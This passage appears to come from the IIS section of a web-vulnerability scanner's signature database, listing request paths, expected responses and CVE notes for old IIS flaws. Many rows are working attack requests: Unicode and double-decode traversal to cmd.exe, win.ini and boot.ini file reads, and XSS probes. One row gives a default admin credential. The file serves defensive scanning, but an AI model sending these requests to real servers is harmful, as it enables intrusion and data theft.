  1808. "iis","/cgi-bin/CGImail.exe","200","GET","Default FrontPage CGI found."
  1809. "iis","/cgi-bin/contents.htm","200","GET","Default FrontPage CGI found."
  1810. "iis","/cgi-bin/fpadmin.htm","200","GET","Default FrontPage CGI found."
  1811. "iis","/cgi-bin/fpremadm.exe","200","GET","Default FrontPage CGI found."
  1812. "iis","/cgi-bin/fpsrvadm.exe","200","GET","Default FrontPage CGI found."
  1813. "iis","/cgi-bin/snorkerz.bat","200","GET","Arguments passed to DOS CGI without checking"
  1814. "iis","/cgi-bin/snorkerz.cmd","200","GET","Arguments passed to DOS CGI without checking"
  1815. "iis","/cgi-dos/args.bat","200","GET","Default FrontPage CGI found."
  1816. "iis","/cgi-win/uploader.exe","200","GET","This CGI allows attackers to upload files to the server and then execute them."
  1817. "iis","/contents/extensions/asp/1","200","GET","The IIS system may be vulnerable to a DOS, see MS02-018 for details."
  1818. "iis","/database/db2000.mdb","200","GET","Max Web Portal database is available remotely. It should be moved from the default location to a directory outside the web root."
  1819. "iis","/default.htm%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htw?CiWebHitsFile=../../../../../../../../../win.ini&CiRestriction=none&CiHiliteType=Full","[fonts]","GET","Server may be vulnerable to a Webhits.dll arbitrary file retrieval. Ensure Q252463i, Q252463a or Q251170 is installed. MS00-006."
  1820. "iis","/default.htm%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htw?CiWebHitsFile=../../../../../../../../../win.ini&CiRestriction=none&CiHiliteType=Full","[windows]","GET","Server may be vulnerable to a Webhits.dll arbitrary file retrieval. Ensure Q252463i, Q252463a or Q251170 is installed. MS00-006."
  1821. "iis","/exchange/","401","GET","This may be interesting (Outlook exchange OWA server?)..."
  1822. "iis","/exchange/lib/AMPROPS.INC","Logon functions","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
  1823. "iis","/exchange/lib/ATTACH.INC","File upload","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
  1824. "iis","/exchange/lib/DELETE.INC","deleting objects","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
  1825. "iis","/exchange/lib/GETREND.INC","GetRenderer functions","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
  1826. "iis","/exchange/lib/GETWHEN.INC","functions to construct","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
  1827. "iis","/exchange/lib/JSATTACH.INC","Attachment Javascript","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
  1828. "iis","/exchange/lib/JSROOT.INC","Javascript Functions","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
  1829. "iis","/exchange/lib/JSUTIL.INC","Common Javascript","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
  1830. "iis","/exchange/lib/LANG.INC","localized strings","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
  1831. "iis","/exchange/lib/logon.inc","Logon functions","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
  1832. "iis","/exchange/lib/PAGEUTIL.INC","functions that help","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
  1833. "iis","/exchange/lib/PUBFLD.INC","Anonymous Published","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
  1834. "iis","/exchange/lib/RENDER.INC","Rendering functions","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
  1835. "iis","/exchange/lib/SESSION.INC","Session Management","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
  1836. "iis","/exchange/root.asp?acs=anon","/exchange/logonfrm.asp","GET","This allows anonymous access to portions of the OWA server. http://support.microsoft.com/support/exchange/content/whitepapers/owaguide.doc"
  1837. "iis","/global.asa","RUNAT","GET","The global.asa file was retrieved, which may contain sensitive information.  Map the .asa extension to the proper dll."
  1838. "iis","/iisadmin/","200","GET","Access to /iisadmin should be restricted to localhost or allowed hosts only."
  1839. "iis","/iisadmpwd/..%255c..%255cwinnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
  1840. "iis","/iisadmpwd/..%c0%af../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
  1841. "iis","/iisadmpwd/aexp2.htr","200","GET","Gives domain and system name, may allow an attacker to brute force for access. Also will allow an NT4 user to change his password regardless of the 'user cannot change password' security policy. CAN-2002-0421. BID-4236. BID-2110."
  1842. "iis","/iisadmpwd/aexp2b.htr","200","GET","Gives domain and system name, may allow an attacker to brute force for access. Also will allow an NT4 user to change his password regardless of the 'user cannot change password' security policy. CAN-2002-0421. BID-4236. BID-2110."
  1843. "iis","/iisadmpwd/aexp3.htr","200","GET","Gives domain and system name, may allow an attacker to brute force for access. Also will allow an NT4 user to change his password regardless of the 'user cannot change password' security policy. CAN-2002-0421. BID-4236. BID-2110."
  1844. "iis","/iisadmpwd/aexp4.htr","200","GET","Gives domain and system name, may allow an attacker to brute force for access. Also will allow an NT4 user to change his password regardless of the 'user cannot change password' security policy. CAN-2002-0421. BID-4236. BID-2110."
  1845. "iis","/iisadmpwd/aexp4b.htr","200","GET","Gives domain and system name, may allow an attacker to brute force for access. Also will allow an NT4 user to change his password regardless of the 'user cannot change password' security policy. CAN-2002-0421. BID-4236. BID-2110."
  1846. "iis","/iissamples/exair/howitworks/Codebrw1.asp","200","GET","This is a default IIS script/file which should be  removed, it may allow a DoS against the server. CAN-1999-0738. MS99-013. CVE-1999-0449. BID-193."
  1847. "iis","/iissamples/exair/howitworks/codebrws.asp","ASP Source code browser","GET","This is a default IIS script/file which should be removed, it may allow a DoS against the server or a DoS. CAN-1999-0738. MS99-013. CVE-1999-0449. BID-193."
  1848. "iis","/iissamples/exair/howitworks/Winmsdp.exe","ASP Source code browser","GET","This is a default IIS script/file which should be  removed, it may allow a DoS against the server. CAN-1999-0738. MS99-013. CVE-1999-0449. BID-193."
  1849. "iis","/iissamples/exair/search/advsearch.asp","200","GET","Scripts within the Exair package on IIS 4 can be used for a DoS against the server. CVE-1999-0449. BID-193."
  1850. "iis","/iissamples/exair/search/query.asp","200","GET","Scripts within the Exair package on IIS 4 can be used for a DoS against the server. CVE-1999-0449. BID-193."
  1851. "iis","/iissamples/exair/search/query.idq?CiTemplate=../../../../../../../../../../winnt/win.ini","[fonts]","GET","This allows arbitrary files to be retrieved from the server, it may allow a DoS against the server. CVE-1999-0449. BID-193. MS01-033."
  1852. "iis","/iissamples/exair/search/search.asp","200","GET","Scripts within the Exair package on IIS 4 can be used for a DoS against the server. CVE-1999-0449. BID-193."
  1853. "iis","/iissamples/exair/search/search.idq?CiTemplate=../../../../../../../../../../winnt/win.ini","[fonts]","GET","This allows arbitrary files to be retrieved from the server, it may allow a DoS against the server. CVE-1999-0449. BID-193. MS01-033."
  1854. "iis","/iissamples/issamples/codebrws.asp","Sample ASP Search Form","GET","This is a default IIS script/file which should be  removed. CAN-1999-0738. MS99-013."
  1855. "iis","/iissamples/issamples/fastq.idq?CiTemplate=../../../../../../../../../../winnt/win.ini","[fonts]","GET","This allows arbitrary files to be retrieved from the server. MS01-033."
  1856. "iis","/iissamples/issamples/ixqlang.htm","Query Language","GET","IIS default file found. All default files should be removed."
  1857. "iis","/iissamples/issamples/oop/qfullhit.htw?CiWebHitsFile=/iissamples/issamples/oop/qfullhit.htw&CiRestriction=none&CiHiliteType=Full","This is the formatting page for webhits full highlighting","GET","It is possible to retrieve the source of .asp files. Install Webhits patch at http://www.microsoft.com/technet/security/bulletin/ms00-006.asp. MS00-006, CVE-2000-0097. OSVDB-1210."
  1858. "iis","/iissamples/issamples/oop/qsumrhit.htw?CiWebHitsFile=/iissamples/issamples/oop/qsumrhit.htw&CiRestriction=none&CiHiliteType=Full","This is the formatting page for webhits summary highlighting.","GET","It is possible to retrieve the source of .asp files. Install Webhits patch at http://www.microsoft.com/technet/security/bulletin/ms00-006.asp. MS00-006, CVE-2000-0097. OSVDB-1210."
  1859. "iis","/iissamples/issamples/query.idq?CiTemplate=../../../../../../../../../../winnt/win.ini","[fonts]","GET","This allows arbitrary files to be retrieved from the server. MS01-033."
  1860. "iis","/iissamples/issamples/sqlqhit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
  1861. "iis","/iissamples/issamples/SQLQHit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
  1862. "iis","/iissamples/issamples/Winmsdp.exe","Sample ASP Search Form","GET","This is a default IIS script/file which should be  removed. CAN-1999-0738. MS99-013."
  1863. "iis","/iissamples/sdk/asp/docs/codebrw2.asp","200","GET","This is a default IIS script/file which should be  removed. CAN-1999-0738. MS99-013."
  1864. "iis","/iissamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/bogus_directory/nonexistent.asp","Path not found","GET","CodeBrws.asp can be used to determine if a file system path exists or not. CAN-1999-0738. MS99-013."
  1865. "iis","/iissamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/default.asp","200","GET","IIS may be vulnerable to source code viewing via the example CodeBrws.asp file. Remove all default files from the web root. CAN-1999-0738. MS99-013."
  1866. "iis","/iissamples/sdk/asp/docs/codebrws.asp","200","GET","This is a default IIS script/file which should be  removed. CAN-1999-0738. MS99-013."
  1867. "iis","/iissamples/sdk/asp/docs/codebrws.asp","View Active Server Page Source","GET","IIS 5 comes with an ASP that allows remote code to viewed. All default files in /IISSamples should be removed. CAN-1999-0738. MS99-013."
  1868. "iis","/iissamples/sdk/asp/docs/Winmsdp.exe?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/bogus_directory/nonexistent.asp","Path not found","GET","Winmsdp.exe can be used to determine if a file system path exists or not. CAN-1999-0738. MS99-013."
  1869. "iis","/iissamples/sdk/asp/docs/Winmsdp.exe?Source=/IISSAMPLES/%c0%ae%c0%ae/default.asp","200","GET","IIS may be vulnerable to source code viewing via the example Winmsdp.exe file. Remove all default files from the web root. CAN-1999-0738. MS99-013."
  1870. "iis","/iissamples/sdk/asp/docs/Winmsdp.exe","200","GET","This is a default IIS script/file which should be  removed. CAN-1999-0738. MS99-013."
  1871. "iis","/iissamples/sdk/asp/docs/Winmsdp.exe","View Active Server Page Source","GET","IIS 5 comes with an ASP that allows remote code to viewed. All default files in /IISSamples should be removed. CAN-1999-0738. MS99-013."
  1872. "iis","/isapi/tstisapi.dll","Pi3web","GET","The test tstisapi.dll is available and can allow attackers to execute commands remotely."
  1873. "iis","/ISSamples/sqlqhit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
  1874. "iis","/ISSamples/SQLQHit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
  1875. "iis","/junk.aspx","[FileNotFoundException]: ","GET","ASP.net reveals file system paths in invalid .aspx requests. http://www.tconsult.com/aspnet/exceptions/globalexception.aspx"
  1876. "iis","/junk.aspx","NET Framework Version:","GET","ASP.net reveals its version in invalid .aspx error messages. http://www.tconsult.com/aspnet/exceptions/globalexception.aspx"
  1877. "iis","/JUNK(10)","SecureIIS application","GET","Server appears to be running eEye's SecureIIS application, http://www.eeye.com/."
  1878. "iis","/JUNK(10)abcd.html","+ displayresult +","GET","The IIS server may be vulnerable to Cross Site Scripting (XSS) in error messages, ensure Q319733 is installed, see MS02-018, CVE-2002-0075, SNS-49, CA-2002-09"," "
  1879. "iis","/JUNK(10)abcd.html","escape","GET","The IIS 4.0, 5.0 and 5.1 server may be vulnerable to Cross Site Scripting (XSS) in redirect error messages. See MS02-018, CVE-2002-0075, CA-2002-09, BID-4487. SNS-49 (http://www.lac.co.jp/security/english/snsadv_e/49_e.html)"
  1880. "iis","/JUNK(5).htw","QUERY","GET","Server may be vulnerable to a Webhits.dll arbitrary file retrieval. Ensure Q252463i, Q252463a or Q251170 is installed. MS00-006. OSVDB-1210."
  1881. "iis","/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:%5c","[winnt]","GET","Can issue arbitrary commands to host."
  1882. "iis","/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:%5c","The paramater is incorrect","GET","May be able to issue arbitrary commands to host."
  1883. "iis","/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:%5c","The parameter is incorrect","GET","May be able to issue arbitrary commands to host."
  1884. "iis","/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
  1885. "iis","/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
  1886. "iis","/msadc/msadcs.dll","200","GET","See RDS advisory RFP9902, CVE-1999-1011, MS98-004, MS99-025 RFP-9902 BID-29 (http://www.wiretrip.net/rfp/p/doc.asp/i2/d1.htm), CIAC J-054 http://www.ciac.org/ciac/bulletins/j-054.shtml www.securityfocus.com/bid/529"
  1887. "iis","/msadc/samples/adctest.asp","200","GET","The IIS sample application adctest.asp may be used to remotely execute commands on the server.  RFP9901 (http://www.wiretrip.net/rfp/p/doc.asp/i2/d3.htm)"
  1888. "iis","/msadc/Samples/selector/showcode.asp?source=/msadc/Samples/../../../../../../../../../winnt/win.ini","[fonts]","GET","This allows attackers to read arbitrary files on the host. CAN-1999-0738. MS99-013."
  1889. "iis","/nikto.ida","Rejected-By-UrlScan","GET","The IIS server is running UrlScan"
  1890. "iis","/nul..cfm","The template specification","GET","ColdFusion 5.0 and below, 4.0-5.0 reveal file system paths of .cfm or .dbm files when the request contains invalid DOS devices. Macromedia MPSB02-01. CVE-2002-0576. KPMG-2002013. BID-4542. http://www.macromedia.com/v1/handlers/index.cfm?ID=22906"
  1891. "iis","/nul..dbm","The template specification","GET","ColdFusion 5.0 and below, 4.0-5.0 reveal file system paths of .cfm or .dbm files when the request contains invalid DOS devices. Macromedia MPSB02-01. CVE-2002-0576. KPMG-2002013. BID-4542. http://www.macromedia.com/v1/handlers/index.cfm?ID=22906"
  1892. "iis","/nul.cfm","The requested file","GET","ColdFusion 5.0 and below, 4.0-5.0 reveal file system paths of .cfm or .dbm files when the request contains invalid DOS devices. CVE-2002-0576. KPMG-2002013. BID-4542. http://www.macromedia.com/v1/handlers/index.cfm?ID=22906"
  1893. "iis","/nul.dbm","The requested file","GET","ColdFusion 5.0 and below, 4.0-5.0 reveal file system paths of .cfm or .dbm files when the request contains invalid DOS devices. CVE-2002-0576. KPMG-2002013. BID-4542. http://www.macromedia.com/v1/handlers/index.cfm?ID=22906"
  1894. "iis","/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full","<html>","GET","It is possible to retrieve the source of .asp files or view any file on the system. Install Webhits patch at http://www.microsoft.com/technet/security/bulletin/ms00-006.asp. MS00-006, CVE-2000-0097."
  1895. "iis","/NULL.printer","Error in web printer install","GET","Internet Printing (IPP) is enabled. Some versions have a buffer overflow/DoS in Windows 2000  which allows remote attackers to gain admin privileges via a long print request that is passed to the extension through IIS 5.0. Disabling the .printer mapping is recommended. EEYE-AD20010501, CVE-2001-0241, MS01-023, CA-2001-10, BID 2674"
  1896. "iis","/oc/Search/sqlqhit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
  1897. "iis","/oc/Search/SQLQHit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
  1898. "iis","/officescan/cgi/cgiChkMasterPwd.exe","200","GET","Trend Officescan allows you to skip the login page and access soem CGI programs directly."
  1899. "iis","/OpenFile.aspx?file=../../../../../../../../../../boot.ini","boot loader","GET","HTTP Commander 4.0 allows directory traversal and reading of arbitrary files."
  1900. "iis","/pbserver/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
  1901. "iis","/pbserver/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
  1902. "iis","/pbserver/pbserver.dll","200","GET","This may contain a buffer overflow. http://www.microsoft.com/technet/security/bulletin/ms00-094.asp"
  1903. "iis","/prd.i/pgen/","200","GET","has MS Merchant Server 1.0"
  1904. "iis","/prxdocs/misc/prxrch.idq?CiTemplate=../../../../../../../../../../winnt/win.ini","[fonts]","GET","This allows arbitrary files to be retrieved from the server. MS01-033."
  1905. "iis","/query.idq?CiTemplate=../../../../../../../../../../winnt/win.ini","[fonts]","GET","This allows arbitrary files to be retrieved from the server. MS01-033."
  1906. "iis","/readme.eml","200","GET","Remote server may be infected with the Nimda virus."
  1907. "iis","/rpc/..%255c..%255cwinnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
  1908. "iis","/rpc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
  1909. "iis","/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
  1910. "iis","/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+ver","[Version]","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
  1911. "iis","/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
  1912. "iis","/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
  1913. "iis","/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\"","boot.ini","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
  1914. "iis","/scripts/admin.pl","200","GET","Default FrontPage CGI found."
  1915. "iis","/scripts/Carello/Carello.dll","200","GET","Carello 1.3 may allow commands to be executed on the server by replacing hidden form elements. This could not be tested by Nikto."
  1916. "iis","/scripts/cfgwiz.exe","200","GET","Default FrontPage CGI found."
  1917. "iis","/scripts/CGImail.exe","200","GET","Default FrontPage CGI found."
  1918. "iis","/scripts/contents.htm","200","GET","Default FrontPage CGI found."
  1919. "iis","/scripts/cpshost.dll","200","GET","posting acceptor...possibly allows you to upload files"
  1920. "iis","/scripts/fpadmin.htm","200","GET","Default FrontPage CGI found."
  1921. "iis","/scripts/fpcount.exe","200","GET","Default FrontPage CGI found."
  1922. "iis","/scripts/fpremadm.exe","200","GET","Default FrontPage CGI found."
  1923. "iis","/scripts/fpsrvadm.exe","200","GET","Default FrontPage CGI found."
  1924. "iis","/scripts/httpodbc.dll","200","GET","Possible IIS backdoor found."
  1925. "iis","/scripts/iisadmin/bdir.htr","200","GET","This default script shows host info, may allow file browsing and buffer a overrun in the Chunked Encoding data transfer mechanism, request /scripts/iisadmin/bdir.htr??c:\<dirs> . MS02-028. CA-2002-09."
  1926. "iis","/scripts/iisadmin/ism.dll","200","GET","allows you to mount a brute force attack on passwords"
  1927. "iis","/scripts/no-such-file.pl","perl script","GET","Using perl.exe allows attacker to view host info. Use perlis.dll instead."
  1928. "iis","/scripts/proxy/w3proxy.dll","502","GET","MSProxy v1.0 installed"
  1929. "iis","/scripts/repost.asp","Here is your upload status","GET","This allows uploads to /users. Create /users and give web user read only access."
  1930. "iis","/scripts/root.exe?/c+dir+c:\+/OG","Directory of C","GET","This machine is infected with Code Red, or has Code Red leftovers."
  1931. "iis","/scripts/samples/details.idc","200","GET","See RFP 9901; www.wiretrip.net"
  1932. "iis","/scripts/samples/search/author.idq","The template file can not be found in the location specified","GET","This is a default IIS script/file which should be  removed. MS01-033."
  1933. "iis","/scripts/samples/search/filesize.idq","The template file can not be found in the location specified","GET","This is a default IIS script/file which should be  removed. MS01-033."
  1934. "iis","/scripts/samples/search/filetime.idq","The template file can not be found in the location specified","GET","This is a default IIS script/file which should be  removed. MS01-033."
  1935. "iis","/scripts/samples/search/qfullhit.htw","QUERY","GET","Server may be vulnerable to a Webhits.dll arbitrary file retrieval. MS00-006."
  1936. "iis","/scripts/samples/search/qsumrhit.htw","QUERY","GET","Server may be vulnerable to a Webhits.dll arbitrary file retrieval. MS00-006."
  1937. "iis","/scripts/samples/search/queryhit.idq","The template file can not be found in the location specified","GET","This is a default IIS script/file which should be  removed. MS01-033."
  1938. "iis","/scripts/samples/search/simple.idq","The template file can not be found in the location specified","GET","This is a default IIS script/file which should be  removed. MS01-033."
  1939. "iis","/scripts/tools/ctss.idc","200","GET","This CGI allows remote users to view and modify SQL DB contents, server paths, docroot and more."
  1940. "iis","/scripts/tools/dsnform.exe","200","GET","An oldie but goodie... allows creation of ODBC Data Source"
  1941. "iis","/scripts/tools/dsnform","200","GET","An oldie but goodie... allows creation of ODBC Data Source"
  1942. "iis","/scripts/tools/getdrvrs.exe","200","GET","MS Jet database engine can be used to make DSNs, useful with an ODBC exploit and the RDS exploit (with msadcs.dll) which mail allow command execution. RFP9901 (http://www.wiretrip.net/rfp/p/doc.asp/i2/d3.htm)."
  1943. "iis","/scripts/tools/newdsn.exe","200","GET","This can be used to make DSNs, useful in use with an ODBC exploit and the RDS exploit (with msadcs.dll). Also may allow files to be created on the server. BID-1818. CVE-1999-0191. RFP9901 (http://www.wiretrip.net/rfp/p/doc.asp/i2/d3.htm)"
  1944. "iis","/search.asp?Search=\"><script>alert()</script>","<script>alert()</script>","GET","Max Web Portal is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1945. "iis","/search/htx/sqlqhit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
  1946. "iis","/search/htx/SQLQHit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
  1947. "iis","/search/sqlqhit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
  1948. "iis","/search/SQLQHit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
  1949. "iis","/servlet/com.newatlanta.servletexec.JSP10Servlet/..%5c..%5cglobal.asa","OBJECT RUNAT=Server","GET","ServletExec 4.1 ISAPI Java Servlet/JSP Engine for IIS can reveal source code. The server may also be vulnerable to a DoS attack by requesting a long file name ending in .jsp"
  1950. "iis","/servlet/com.newatlanta.servletexec.JSP10Servlet/","The file was not found","GET","ServletExec 4.1 ISAPI Java Servlet/JSP Engine for IIS discloses the web root. The server may also be vulnerable to a DoS attack by requesting a long file name ending in .jsp"
  1951. "iis","/Sites/Knowledge/Membership/Inspired/ViewCode.asp","200","GET","The default ViewCode.asp can allow an attacker to read any file on the machine. CAN-1999-0738. MS99-013."
  1952. "iis","/Sites/Knowledge/Membership/Inspiredtutorial/ViewCode.asp","200","GET","The default ViewCode.asp can allow an attacker to read any file on the machine. CAN-1999-0738. MS99-013."
  1953. "iis","/Sites/Samples/Knowledge/Membership/Inspired/ViewCode.asp","200","GET","The default ViewCode.asp can allow an attacker to read any file on the machine. CAN-1999-0738. MS99-013."
  1954. "iis","/Sites/Samples/Knowledge/Membership/Inspiredtutorial/ViewCode.asp","200","GET","The default ViewCode.asp can allow an attacker to read any file on the machine. CAN-1999-0738. MS99-013."
  1955. "iis","/Sites/Samples/Knowledge/Push/ViewCode.asp","200","GET","The default ViewCode.asp can allow an attacker to read any file on the machine. CAN-1999-0738. MS99-013."
  1956. "iis","/Sites/Samples/Knowledge/Search/ViewCode.asp","200","GET","The default ViewCode.asp can allow an attacker to read any file on the machine. CAN-1999-0738. MS99-013."
  1957. "iis","/siteseed/","200","GET","Siteseed pre 1.4.2 has 'major' security problems."
  1958. "iis","/SiteServer/admin/","403","GET","SiteServer components admin. Default account may be 'LDAP_Anonymous', pass is 'LdapPassword_1'. see http://www.wiretrip.net/rfp/p/doc.asp/i1/d69.htm"
  1959. "iis","/SiteServer/Admin/commerce/foundation/domain.asp","200","GET","Displays known domains of which that server is involved."
  1960. "iis","/SiteServer/Admin/commerce/foundation/driver.asp","200","GET","Displays a list of installed ODBC drivers."
  1961. "iis","/SiteServer/Admin/commerce/foundation/DSN.asp","200","GET","Displays all DSNs configured for selected ODBC drivers."," "
  1962. "iis","/SiteServer/admin/findvserver.asp","200","GET","Gives a list of installed Site Server components."
  1963. "iis","/SiteServer/Admin/knowledge/dsmgr/default.asp","200","GET","USed to view current search catalog configurations"
  1964. "iis","/SiteServer/Admin/knowledge/dsmgr/users/GroupManager.asp","200","GET","Used to create, modify, and potentially delete LDAP users and groups."
  1965. "iis","/SiteServer/Admin/knowledge/dsmgr/users/UserManager.asp","200","GET","Used to create, modify, and potentially delete LDAP users and groups."
  1966. "iis","/SiteServer/Admin/knowledge/persmbr/vs.asp","200","GET","Expose various LDAP service and backend configuration parameters"
  1967. "iis","/SiteServer/Admin/knowledge/persmbr/VsLsLpRd.asp","200","GET","Expose various LDAP service and backend configuration parameters"
  1968. "iis","/SiteServer/Admin/knowledge/persmbr/VsPrAuoEd.asp","200","GET","Expose various LDAP service and backend configuration parameters"
  1969. "iis","/SiteServer/Admin/knowledge/persmbr/VsTmPr.asp","200","GET","Expose various LDAP service and backend configuration parameters"
  1970. "iis","/SiteServer/Knowledge/Default.asp?ctr=\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Site Server is vulnerable to Cross Site Scripting"
  1971. "iis","/siteserver/publishing/viewcode.asp?source=/default.asp","200","GET","May be able to view source code using Site Server vulnerability. CAN-1999-0738. MS99-013."
  1972. "iis","/SiteServer/Publishing/ViewCode.asp","200","GET","The default ViewCode.asp can allow an attacker to read any file on the machine. CAN-1999-0738. MS99-013."
  1973. "iis","/smg_Smxcfg30.exe?vcc=3560121183d3","200","GET","This may be a Trend Officesan 'backdoor'."
  1974. "iis","/sqlqhit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
  1975. "iis","/SQLQHit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
  1976. "iis","/ssi/envout.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\","boot.ini","GET","This CGI allows attackers to read files from the server."
  1977. "iis","/trace.axd","Application Trace","GET","The .NET IIS server has application tracing enabled. This could allow an attacker to view the last 50 web requests."
  1978. "iis","/tvcs/getservers.exe?action=selects1","200","GET","Following steps 2-4 of this page may reveal a zip file which contains passwords and system details."
  1979. "iis","/upload.asp","200","GET","An ASPpage that allows attackers to upload files to server"
  1980. "iis","/uploadn.asp","200","GET","An ASPpage that allows attackers to upload files to server"
  1981. "iis","/uploadx.asp","200","GET","An ASPpage that allows attackers to upload files to server"
  1982. "iis","/wa.exe","200","GET","An ASPpage that allows attackers to upload files to server"
